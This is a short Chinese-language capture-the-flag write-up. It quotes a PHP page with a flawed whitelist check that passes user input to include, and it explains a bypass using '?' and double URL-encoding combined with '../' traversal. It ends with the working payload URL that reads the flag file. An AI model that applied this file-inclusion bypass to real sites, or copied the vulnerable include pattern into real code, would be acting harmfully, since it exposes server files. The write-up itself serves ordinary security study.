打开题目发现提示
根据提示找到下一步,映入眼帘的是代码审计
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单
if (! isset($page) || !is_string($page)) {//判断是不是字符串,不是则返回false
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {//判断是不是在白名单里
return true;
}
$_page = mb_substr(//page后面加上?进行截取
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {//判断截取后的内容是不是在白名单里
return true;
}
$_page = urldecode($page);//url解码提示我们要url编码
$_page = mb_substr(//再次截取
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {//再次判断是否在白名单里
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])//需要满足这三个条件
) {
include $_REQUEST['file'];//满足条件可直接包含
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
白名单里还有一个提示hint.php,打开看一下,发现提示flag位置
根据代码要用file传参source.php?
满足第一个截取判断source.php?file=source.php%253f
满足第二个截取判断,(%253f是‘?’的两次url编码,因为在服务器提交参数时会url解码一次,在checkfile函数里也会解码一次,可能是出题人的疏忽这里不用url编码直接用‘?’也可),因为不知道flag具体位置所以依次增加../
尝试flag位置最终payload
http://c5dba789-9696-4879-913e-07d58f338f4d.node3.buuoj.cn/source.php?file=source.php?../../../../../ffffllllaaaagggg